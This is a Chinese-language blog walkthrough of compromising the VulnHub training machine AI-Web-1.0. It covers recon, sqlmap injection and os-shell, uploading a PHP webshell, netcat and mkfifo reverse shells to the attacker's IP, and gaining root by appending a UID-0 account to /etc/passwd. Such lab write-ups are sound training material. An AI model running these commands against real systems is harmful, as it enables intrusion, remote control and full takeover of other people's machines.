vulnhub靶机AI-Web-1.0渗透笔记

vulnhub靶机AI-Web-1.0渗透笔记

  • 开篇
  • 渗透过程
    • ①:信息收集
    • ②:SQL注入
    • ③:文件上传
    • ④:反弹shell
    • ⑤:提权
    • ⑥:获取flag
  • 总结

前言:接下来一段时间应该都是会进行靶机的学习了,毕竟vulnhub的靶机挺不错的,和真实环境还是很像的

开篇

先贴一下这次靶机的下载地址:https://www.vulnhub.com/entry/ai-web-1,353/
vulnhub靶机AI-Web-1.0渗透笔记_第1张图片
靶机下载完之后,vmware直接打开,会显示下面这个界面。图片上显示让你登陆,但是我们并不需要登陆,就这样就可以了。
vulnhub靶机AI-Web-1.0渗透笔记_第2张图片

渗透过程

①:信息收集

kali里面使用netdiscover发现主机。netdiscover需要root命令才能启动

netdiscover 192.168.92.0/16

vulnhub靶机AI-Web-1.0渗透笔记_第3张图片
我们的攻击机的IP为:192.168.92.150、192.168.92.129
我们靶机的IP为:192.168.92.184

使用nmap命令扫描

nmap  -sS -sV -A -n 192.168.92.184

nmap -sS //SYN扫描,使用最频繁,安全,快
nmap -sV //对端口上的服务程序版本进行扫描
nmap -A //强力扫描,耗时长
nmap -n //表示不进行dns解析

扫描之后发现只有一个80端口存活
vulnhub靶机AI-Web-1.0渗透笔记_第4张图片
访问80这个端口,可以看到Not even Google search my content这句话,翻译过来大概就是谷歌都搜不到。观察了一下并没有可以利用的地方。
在这里插入图片描述
换个思路,开始进行目录扫描。我这里用的是dirsearch
命令:./dirsearch.py -u http://192.168.92.184/
vulnhub靶机AI-Web-1.0渗透笔记_第5张图片
但是我看很多大佬都是直接用kali自带的dirb,我这里也尝试一下,也挺好用的,看起来精简了一些。
vulnhub靶机AI-Web-1.0渗透笔记_第6张图片
访问一下/robots.txt,可以看到有两个目录。
vulnhub靶机AI-Web-1.0渗透笔记_第7张图片
访问一下这两个目录,两个目录都是Forbidden,拒绝服务。
vulnhub靶机AI-Web-1.0渗透笔记_第8张图片
vulnhub靶机AI-Web-1.0渗透笔记_第9张图片
接着上面的思路继续开始目录扫描
先扫描的是/m3diNf0这个目录,发现有一个info.php
vulnhub靶机AI-Web-1.0渗透笔记_第10张图片
访问看一下,就是phpinfo()
vulnhub靶机AI-Web-1.0渗透笔记_第11张图片
接着进行目录扫描,这次扫描/se3reTdir777/uploads/,不过啥也没有
vulnhub靶机AI-Web-1.0渗透笔记_第12张图片
去掉upload,直接扫描/se3reTdir777,这次扫描出来一个login界面
vulnhub靶机AI-Web-1.0渗透笔记_第13张图片

②:SQL注入

看一下这个登陆界面,登录框,肯定首先就是要测试一下SQL注入
vulnhub靶机AI-Web-1.0渗透笔记_第14张图片
输入'报错了,证明这里是有SQL注入的。
在这里插入图片描述
抓包看一下注入点,放到sqlmap里面跑一下

POST /se3reTdir777/index.php HTTP/1.1
Host: 192.168.92.184
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Origin: http://192.168.92.184
Connection: keep-alive
Referer: http://192.168.92.184/se3reTdir777/index.php
Upgrade-Insecure-Requests: 1

uid=1&Operation=Submit

注入点就是uid=1&Operation=Submit
我这里用sqlmap先列出数据库,爆出两个数据库,aiweb1和information_schema

sqlmap -u "http://192.168.92.184/se3reTdir777/index.php/" -data "uid=1&Operation=Submit" --dbs //列出库

vulnhub靶机AI-Web-1.0渗透笔记_第15张图片
爆破一下表,user和systemUser

sqlmap -u "http://192.168.92.184/se3reTdir777/index.php/" -data "uid=1&Operation=Submit" -D aiweb1 --tables //列出表

vulnhub靶机AI-Web-1.0渗透笔记_第16张图片

sqlmap -u "http://192.168.92.184/se3reTdir777/index.php/" -data "uid=1&Operation=Submit" -D aiweb1 -T user --columns //列出字段

vulnhub靶机AI-Web-1.0渗透笔记_第17张图片

sqlmap -u "http://192.168.92.184/se3reTdir777/index.php/" -data "uid=1&Operation=Submit" -D aiweb1 -T user -C id --dump 

vulnhub靶机AI-Web-1.0渗透笔记_第18张图片
爆破出来之后,基本上没有啥重要信息。
get一个新的知识点
sqlmap-os-shell
os-shell执行条件:

  • 网站必须是root权限
  • 网站的绝对路径已知
  • GPC为off(php主动转义的功能关闭)

通过os-shell获得权限

sqlmap -u "http://192.168.92.184/se3reTdir777/" --data "uid=1&Operation=Submit"  --level=3 --os-shell

首先要选择语言,选择PHP(default)
vulnhub靶机AI-Web-1.0渗透笔记_第19张图片
然后需要输入绝对路径
vulnhub靶机AI-Web-1.0渗透笔记_第20张图片
填绝对路径的话,我们可以去看之前的phpinfo(),看看绝对路径
vulnhub靶机AI-Web-1.0渗透笔记_第21张图片
这里绝对路径要找有写入权限的,用这个路径/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/,你也可以自己测试一下看看其他路径有没有权限,我这里就不去测试了。
vulnhub靶机AI-Web-1.0渗透笔记_第22张图片
这里成功获取到shell,但是权限比较低,是www-data
在这里插入图片描述

③:文件上传

获取到了网站的权限,接下来就要获取到服务器的权限,通过sqlmap上传一个php木马
首先先写一个php木马
vulnhub靶机AI-Web-1.0渗透笔记_第23张图片
sqlmap进行文件上传

sqlmap -u "http://192.168.92.184/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write ./hack.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/hack.php

–file-write:去读取文件(hack.php)
–file-dest:后面加目标的绝对路径 已经生成木马的名称(hack.php)
vulnhub靶机AI-Web-1.0渗透笔记_第24张图片

我们可以用蚁剑测试连接一下,成功传上去之后,就可以连接成功。我这里成功连接上了。
vulnhub靶机AI-Web-1.0渗透笔记_第25张图片

④:反弹shell

1.先在kali上面监听一下端口使用命令:nc -lvvp 6666
在这里插入图片描述
2.nc -e /bin/bash 192.168.92.129 6666(发现-e参数不可用)
这里首先在kali上输入nc监听,然后使用nc去反向连接
vulnhub靶机AI-Web-1.0渗透笔记_第26张图片

-e :将传入的信息以命令执行

3.使用命令:rm /tmp/f;mkfifo/tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.92.129 6666 >/tmp/f(回弹了shell)
首先我先一个一个来解释一下命令

rm :是一个具有破坏性的命令,因为rm命令会永久性的删除文件或目录,这就意味着,如果没有对文件或目录进行备份,一旦使用命令将其删除,将无法恢复。

这里我们使用的这个命令 rm /tmp/f,就是删除这个目录。因为我们接下来要创建这个目录,以防万一先删除掉。

mkfifo :创建一个FIFO特殊文件,是一个命名管道(可以用来做进程之间通信的桥梁)

这里我理解为创建一个文件目录,名为/tmp/f
vulnhub靶机AI-Web-1.0渗透笔记_第27张图片
vulnhub靶机AI-Web-1.0渗透笔记_第28张图片
4.使用命令:python -c "import pty;pty.spawn('/bin/bash')"(python写交互)
使用这个命令的原因:当我们拿到一个webshell的时候,我们能够执行一些命令,但是这些命令都是非交互的,也就是说不存在上下文的概念。当我们想使用vim、top等命令时,webshell就无能为力了。所以输入这个命令可以帮助我们获得一个交互式的webshell。
vulnhub靶机AI-Web-1.0渗透笔记_第29张图片

⑤:提权

先使用命令:find / -user root -perm -4000 -print 2>/dev/null看一下哪些可以执行root权限
vulnhub靶机AI-Web-1.0渗透笔记_第30张图片
看一下内核版本,使用命令:uname -a,当前版本号是4.15.0-58-generic
在这里插入图片描述
searchsploit linux kernel 4.15.0-58-generic搜索一下相关的内核漏洞,并没有发现可以利用的地方
vulnhub靶机AI-Web-1.0渗透笔记_第31张图片
可以使用添加一个root账号进行登入提权
使用命令:openssl passwd -1 -salt hacker 123456创建一个admin的账号

echo 'hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0::/root:/bin/bash' >> /etc/passwd

在Linux系统中我们要想手动生成一个密码可以采用openssl passwd来生成一个密码作为用户账号的密码。Linux系统中的密码存放在/etc/shadow文件中,并且是以加密的方式存放的,根据加密方式的不同,所产生的加密后的密码的位数也不同。
语法格式
openssl passwd [option] passwd
openssl passwd常用的选项如下:
-1:表示采用的是MD5加密算法
-salt:指定salt值,不使用随机产生的salt
passwd提权
1.通过openssl passwd生成一个新的用户hacker,密码为123456
openssl passwd -1 -salt hacker 123456

$1$hacker$6luIRwdGpBvXdP.GMwcZp/

2.将其追加到kali的/etc/passwd文件中
hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0::/root:/bin/bash' >> /etc/passwd
3.然后切换到hacker用户

知识点补充
/etc/passwd文件字段:
/etc/passwd每行包含系统的每个用户(用户账户)的一个条目。所有字段都由冒号(:)符号分隔。共七个字段如下。通常,/etc/passwd文件条目如下所示:
vulnhub靶机AI-Web-1.0渗透笔记_第32张图片
/etc/passwd格式:
从上图:

编号 属性 描述
1 用户名 用户登录时使用,长度在1到32个字符之间。
2 密码 x 字符表示加密的密码存储在 /etc/shadow 文件中。请注意,您需要使用 passwd 命令来计算在 CLI 中键入的密码的哈希值,或者在 /etc/shadow 文件中存储/更新密码的哈希值。
3 用户 ID (UID) 必须为每个用户分配一个用户 ID (UID)。UID 0(零)为 root 用户保留,UID 1-99 为其他预定义帐户保留。此外,UID 100-999 由系统为管理和系统帐户/组保留。
4 组 ID (GID) 主要组 ID(存储在 /etc/group 文件中)
5 用户 ID 信息 (GECOS) 评论字段。它允许您添加有关用户的额外信息,例如用户的全名、电话号码等。此字段由finger 命令使用。
6 主目录 用户登录时所在目录的绝对路径。如果此目录不存在,则用户目录变为 /
7 Command/shell 命令或 shell (/bin/bash) 的绝对路径。通常,这是一个外壳。请注意,它不一定是外壳。例如,sysadmin 可以使用 nologin shell,它充当用户帐户的替换 shell。如果 shell 设置为/sbin/nologin并且用户尝试直接登录 Linux 系统,则 /sbin/nologin shell 关闭连接。

口令
一些系统中,存放着加密后的用户口令字。虽然这个字段存放的知识用户口令的加密串,不是明文,但是由于/etc/passswd文件对所有用户都可读,所以这仍是一个安全隐患。因此,现在许多Linux系统(如SVR4)都使用了shadow技术,把真正的加密后的用户口令字存放到/etc/shadow文件中,而在/etc/passwd文件的口令字段中只存放一个特殊的字符,例如“x”或者“*”

⑥:获取flag

vulnhub靶机AI-Web-1.0渗透笔记_第33张图片

总结

Vulnhub靶机渗透总结:
参考借鉴链接:https://blog.csdn.net/Aluxian_/article/details/124434294
新知识点:sql--os--shell(我实战的时候试过,不过没有具体了解过)
/etc/passwd的格式需要了解,我上面也补充了
格式:用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认shell
"x"表示此用户设有密码,但不是真正的密码,真正的密码保存在/etc/shadow文件中允许登入的shell就是/bin/bash禁止shell登入就是/sbin/nologin)

你可能感兴趣的:(安全,web安全)